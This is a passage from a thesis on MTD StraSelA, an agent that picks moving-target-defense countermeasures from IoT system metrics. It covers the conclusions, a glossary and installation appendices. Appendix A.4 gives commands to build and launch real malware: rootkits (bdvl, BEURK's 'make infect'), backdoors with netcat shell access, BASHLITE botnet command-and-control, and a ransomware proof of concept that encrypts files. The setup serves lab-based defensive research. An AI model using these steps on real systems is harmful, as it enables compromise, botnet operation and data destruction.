the cost of 2.6% CPU load and 61 MB of RAM.

Last but no least, the detection rate analysis is admittedly sobering: With a TPR of just
around 25%, Policy 1 is anything else as but perfect. The same also applies for Policy
3. That raises the question of why MTD StraSelA had few to no problems during the
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previous evaluations concerning Policy 1 regarding ”Ransomware-PoC” and Policy 3 with
respect to ”BEURK” and ”bdvl”. This can be justified by the fact that the detection
rate evaluation considers and tests policy regarding malware over the entire period, while
the individual and mixed evaluation focus on the first single appearance. Therefore, it is
possible that there may exist even better policies, with different metrics and thresholds
for policy 1 and policy 3. If you exclude ”BASHLITE” for once, policies 2 and 4 offer a
very good, even almost perfect performance, with regard to both TPR and TNR. It is
striking that these are two policies with exclusively network metrics.



Chapter 7

Summary, Conclusions, and Future Work

The last chapter of this thesis recaps the different stations of the project, proposes the main
findings, and provides ideas for further research and projects. First, a complete review
summarizes the thesis and the concrete procedure followed. Second, with regard to the
evaluation, the key insights are formed, and a conclusion is derived. Finally, suggestions
for future projects and investigations are formulated.

This thesis aims to design and implement an MTD selection agent using IoT platform
metrics to select from existing MTD techniques. In order to do so, the following steps
were undertaken:

First, the necessary background knowledge regarding MTD, malware, IoT security, and
policy selection methods were obtained. Second, an initial set of metrics was created as
a result of a phase of systematic research on the impact of malware on a victim system.
Third, with the help of a self-created monitoring script, data were collected for the re-
spective malware types, showing healthy, infected, and cleansed behavior in each case.
Subsequently, with the help of data analysis, a set of policies consisting of rules that
include a threshold and a metric could be adopted. At the same time, the architecture
of the MTD strategy selection agent MTD StraSelA has been elaborated. In the next
stage, the design of MTD StraSelA using this set of policies was determined and subse-
quently implemented. This resulted in the proof of concept MTD selection agent MTD
StraSelA. After that, the final policy was experimentally fine-tuned. At the beginning of
the evaluation phase, an individual assessment for each malware was carried out. After
that, the performance of MTD StraSelA was investigated regarding a real-world attack
with an attacker script, and the overhead was measured. Finally, the detection rate of
the proposed policy was analyzed.

To define the bottom line of these findings, the following conclusions are drawn:

• First, it is generally possible to use system metrics to detect malware and mitigate
them with MTD techniques. This thesis suggests a simple, resource-efficient MTD
strategy selection agent called MTD StraSelA that deploys MTD techniques based
on a policy database. These rules follow a simple IF −→ THEN schema.

45
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• Second, by using an expert-based approach, namely with the implementation of
data analysis and data visualization, it is possible to find system metrics that can
be used in a policy IF −→ THEN . With the help of experimental fine-tuning,
definitive policies can then be created.

• Third, a potential metric can be classified as a possible candidate if it exhibits
the following behavior: There is a significant change when triggering malware and
mitigating the associated MTD.

• For an agent to detect behavior that deviates from normal behavior, it is crucial
that the original state is assumed again after executing an MTD. The time win-
dow required for this and the time needed for the MTD deployment represent a
vulnerability.

• Not every malware can be successfully detected with this approach: The well-known
botnet ”BASHLITE” could not be successfully detected.

• The evaluation points out the difference between detecting malware at its trigger
point or detecting malware at any moment.

Finally, we can say that it is generally possible to use system metrics to detect malware.
Still, everything stands and falls with the selection of metric, threshold, and the respective
policy. The difficulty lies in finding policies that reliably respond to the malware’s initial
contact and the more or less static behavior.

7.1 Future Work

In general, the existing agent could be further optimized. It would therefore be a good
idea to modify and examine the concrete parameters and their influence on the agent’s
performance. Objects of this study are, in particular, the number of aggregated obser-
vations needed to make an MTD deployment decision and the recovering period after an
MTD deployment.

According to the motto, prevention is more affordable than treatment; it might be an ex-
citing idea to not only focus on MTD that is purely reactive deployed but more proactive.
The agent is reactive, so it might be helpful to undertake further investigations in this
context: Since ”BASHLITE” could not be detected and mitigated, using a proactive or
even hybrid agent might represent a valid approach. For this, further experiments would
be necessary to determine the cost-benefit ratio.
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6LoWPAN Low-Powered Wireless Personal Area Networks



Glossary

Botnet A botnet is an army of infected devices, sometimes called zombies, that can be
used to launch malicious actions such as DDoS attack (See Distributed Denial of
Service) [15].

Crossfire The term Crossfire refers to a sophisticated botnet attack, that uses a small
number of bots that cause low-intensity traffic on certain servers to impair.

Distributed Denial of Service Distributed Denial of Service refers to a malware attack in
which many different devices attempt to access a server or service simultaneously,
ultimately overloading it.

False Positive Rate The False Positive Rate defines the ratio of samples incorrectly iden-
tified as positive to positive samples.

Game Theory Game Theory is a field that deals with optimization, rational decisions
and behavior. It can be applied in various domains.

Genetic Algorithm Genetic Algorithm generates multiple solutions for a optimization
problem and evaluates their performance, so called fitness, to find the best possible
in an iterative process.

IP Shuffling See MTD technique.

Mirai Mirai Was responsible for a very large DDoS attack in 2016 that was launched from
countless IoT devices and targeted the DNS service Dyn [17].

MTD technique MTD technique designates a countermeasure against malware, which
satisfies the MTD paradigm, e.g., performing IP shuffling.

Ransomware Ransomware is a type of malicious software, that encrypts your data in
order to subsequently carry out digital blackmail.

Software Defined Network Software Defined Network refers to the configuration of a net-
work by software, that introduces centralization [80].

True Negative Rate The True Negative Rate is a term used in statistics, which indicates
the ratio of correctly identified negative samples with respect to negatives of the
sample space.
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Appendix A

Installation Guidelines

This section provides all the necessary information to successfully install and start the
MTD strategy selection agent MTD StraSelA, the monitoring script, and the evaluation
script used during the mixed evaluation. Finally, the malware setup explains the installa-
tion and process to launch the programs for each considered malware type. Furthermore,
the following diagram shows the project structure and the most important folders and
files:
MTDStrategySelectionAgent

agent

MTD

mtd_strategy_selection_agent.py

policy_db.csv

attacker

httpBackdoor_attack_script.py

monitoring-script

monitoring-script.sh

utils

visualizations

01-policy-synthesis

02-evaluation

individual

mixed

overhead
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64 APPENDIX A. INSTALLATION GUIDELINES

A.1 MTD Strategy Selection Agent

MTD StraSelA

Listing A.1: Install MTD StraSelA

1 # install git

2 apt -get install git

3

4 # navigate to the desired installation directory

5 # e.g. /root/

6 cd root/

7

8 # clone repository

9 git clone https :// github.com/HuberNicolas/

MTDStrategySelectionAgent

10

11 # install Dstat

12 apt -get install dstat -y

13

14 # install MTD dependencies

15 apt -get install arp -scan net -tools

16

17 # install the Python dependencies

18 pip3 install pyyaml numpy pandas psutil requests

setproctitle

19

20 # if the first command don ' t work try

21 python3 -m pip install pyyaml numpy pandas psutil

requests setproctitle

Listing A.2: Start MTD StraSelA

1 # navigate to the directory using the cd command

2 cd root/MTDStrategySelectionAgent/agent/

3

4 # run it with

5 python3 mtd_strategy_selection_agent.py

A.2 Monitoring script

Listing A.3: Start monitoring script.py

1 # navigate to the directory using the cd command

2 cd root/MTDStrategySelectionAgent/monitoring -script/

3
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4 # make it executable

5 sudo chmod +x monitoring -script.sh

6

7 # run it

8 ./ monitoring -script.sh

A.3 Evaluation attack script

Listing A.4: Start evaluation attack script.py

1 # navigate to the directory using the cd command

2 cd root/MTDStrategySelectionAgent/attacker/

3

4 # install the following python dependencies

5 pip3 install requests

6

7 # make sure the malware is installed and has the correct

configurations

8

9 # run it with

10 python3 evaluation_attack_script.py

A.4 Malware Setup

Regarding the malware setup, it is probably a good idea to create a single directory that
contains all malware samples and install the text editor nano.

Listing A.5: Start evaluation attack script.py

1 cd root/

2 mkdir Malware

3 cd Malware/

4

5 # install nano

6 apt -get install nano

Afterward, each malware can be installed.

A.4.1 The Tick

Client
The installation of ”The Tick” requires some dependencies. After the installation, the
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make command can be used. The result is an executable that starts the client. The
command has flags for ADDR and PORT that specify the IP address and the port of the
corresponding server.

Listing A.6: The Tick: Install and start client

1 # install dependencies

2 sudo apt -get install libcurl4 -openssl -dev

3

4 # clone repository

5 git clone https :// github.com/nccgroup/thetick

6

7 # ... navigate to the directory

8 # execute the following commands

9 cd thetick/src

10 make clean

11 make

12

13 # ./ticksvc [IP address] [port], e.g.,

14 cd ..

15 cd bin/

16 ./ ticksvc 192.168.1.5 6667

Server
The server of ”The Tick” requires Python 2.7. A nice workaround was proposed in the
wiki of MTDFramework [14]: First, install the program curl to afterwards install pip for
Python 2.7. The missing packages for the server can then be installed.

Listing A.7: The Tick: Install and start server

1 # install curl

2 apt -get install curl

3

4 # get download pip for Python 2.7 and install it

5 curl https :// bootstrap.pypa.io/pip /2.7/get -pip.py --

output get -pip.py

6 sudo python2 get -pip.py

7

8 # install dependencies

9 pip2 install colorama

10 pip2 install argparse -color -formatter

11 pip2 install texttable

12

13 # clone repository

14 git clone https :// github.com/nccgroup/thetick

15

16 # ... navigate to the directory

17 # start the server

18 python2 tick.py
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19

20 # ... wait for a bot that connects

21

22 # select bot e.g., 0

23 use 0

24

25 # download malicious software via wget e.g.,

26 download https :// www.python.org/ftp/python /3.10.6/ Python

-3.10.6. tar.xz malicious_software.zip

A.4.2 bdvl

Client
For this rootkit can be configured: After cloning the repository, the setup.py can be
modified. I changed line 8 to set the password ”password” instead of None and line 18 to
port 1234.

Listing A.8: bdvl: Install and start client

1 # clone repository

2 git clone https :// github.com/Error996/bdvl

3

4 # ... navigate to the directory

5 # configure setup.py

6 nano setup.py

7

8 # run the following commands

9 cd etc/

10 chmod +x auto.sh

11 cd ..

12 sh etc/depinstall.sh && make

13 etc/auto.sh build/super.b64

14 cd bdvl/

15 systemctl restart sshd

Server
The server needs some dependencies that can be easily installed with apt-get. Next, the
connection can be established with the command below and the three parameters for the
IP address, the port and the password.

Listing A.9: bdvl: Install and start server

1 # install dependencies

2 sudo apt -get install hping3

3 sudo apt -get install socat

4

5 # connect to client
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6 # sudo nc [IP address] 22 -p [port] : [password]

7 sudo nc 192.168.1.5 22 -p 1234 #enter default password

8 : password

A.4.3 BEURK

Client
For launching ”BEURK”, some dependencies are needed after the clone command. It is
possible to make some changes in the config file. Finally, ”BEURK” can be installed with
a simple command.

Listing A.10: BEURK: Install and start client

1 # clone repository

2 git clone [https :// github.com/unix -thrust/beurk](https ://

github.com/unix -thrust/beurk)

3

4 # install dependencies

5 apt -get install libpcap -dev libpam -dev libssl -dev

6 apt -get update --fix -missing

7

8 # ... navigate to the directory

9 # configure beurk.conf

10 nano beurk.conf

11

12 # install

13 make && make infect

A.4.4 backdoor

Client
First of all, in both client.py and server.py, the IP address of the designated server needs
to be adjusted. Furthermore, the client of ”backdoor” may need to be slightly modified:
[14] suggested in his wiki to change, depending on the installed Python version, line 59
to:
s.send(str.encode(”Welcome Dad \nI \`m ”+ str(Client.get ip())+”\n \n”))
After the server recognizes a client, the server can use the shell command to open an
”evil” shell to perform malicious actions.

Listing A.11: backdoor: Install and start client

1 # clone repository

2 git clone https :// github.com/jakoritarleite/backdoor

3

4 # ... navigate to the directory
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5 # configure client.py

6 nano client.py

7

8 # start the client

9 sudo python3 client.py

Server

Listing A.12: backdoor: Install and start server

1 # clone repository

2 git clone https :// github.com/jakoritarleite/backdoor

3

4 # ... navigate to the directory

5 # configure server.py

6 nano client.py

7

8 # start the server

9 sudo python3 server.py

10

11 # ... wait for a bot that connects

12 shell

13

14 # download malicious software via wget e.g.,

15 wget --no -check -certificate https :// www.python.org/ftp/

python /3.10.6/ Python -3.10.6. tar.xz

A.4.5 BASHLITE

Client
After the cloning of ”BASHLITE”, [14] proposes to adjust line 72 to the IP address of the
server and line 1879 of client.c to:
return ”UNKN”;
After these modifications, the client and server can be built using the gcc command.
Finally, the binaries can be executed, whereas the server commands need one parameter
for the port and one for the number of threads that are used for the process.

Listing A.13: BASHLITE: Install and start client

1 # clone repository

2 git clone https :// github.com/hammerzeit/BASHLITE

3

4 # ... navigate to the directory

5 # configure client.c

6 nano client.c

7
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8 # build

9 gcc -o client client.c

10

11 # start the client

12 ./ client

Server

Listing A.14: BASHLITE: Install and start server

1 # clone repository

2 git clone https :// github.com/hammerzeit/BASHLITE

3

4 # ... navigate to the directory

5 # build

6 gcc -pthread -o server server.c

7

8 # start the server

9 #./server [port] [threads]

10 ./ server 6667 10

A.4.6 HttpBackdoor

Client
”HttpBackdoor”can also be modified to adjust the Port. To do so, line 6 of httpbackdoor.py
can be changed. After launching httpBackdoor.py, the attacker script created for this thesis
can be also started.

Listing A.15: HttpBackdoor: Install and start client

1 # clone repository

2 git clone https :// github.com/SkryptKiddie/httpBackdoor

3

4 # ... navigate to the directory

5 # start the client

6 python3 httpBackdoor.py

Listing A.16: HttpBackdoor: Install and start server

1 # ... navigate to the directory

2 cd root/MTDStrategySelectionAgent/attacker/

3

4 # set the IP address and port

5 nano httpBackdoor_attack_script.py

6

7 # start the server

8 python3 httpBackdoor_attack_script.py
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A.4.7 Ransomware-PoC

After downloading the ”Ransomware-PoC”repository, files can be encrypted with a simple
command that requires a parameter for the path.

Listing A.17: Ransomware-PoC: Install and execution

1 # clone repository

2 git clone https :// github.com/jimmy -ly00/Ransomware -PoC

3

4 # ... navigate to the directory

5 # python3 main.py -p [path] -e

6 python3 main.py -p "/root/sample -data" -e
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Appendix B

Contents of the zip File

This section lists all components of the zip file and gives a brief description.

BA Nicolas Huber.pdf The final report as a pdf file.

BA Nicolas Huber.zip The complete LATEX source code of the final report. This includes
all figures, tables, and listings.

Midterm Nicolas Huber.pptx The midterm presentation as a PowerPoint file.

MTDStrategySelectionAgent.zip This zip file contains the complete source code of the
project, the policy database, and all visualizations, which include:

• MTD Strategy Selection Agent MTD StraSelA

• Policy database as a CSV file

• Evaluation attack script

• httpBackdoor attack script

• Monitoring script

• Policy synthesis visualization script

• Individual evaluation visualization script

• Mixed evaluation visualization script

• Overhead evaluation visualization script

• Helper scripts

• Visualization generated by the scripts as mentioned earlier
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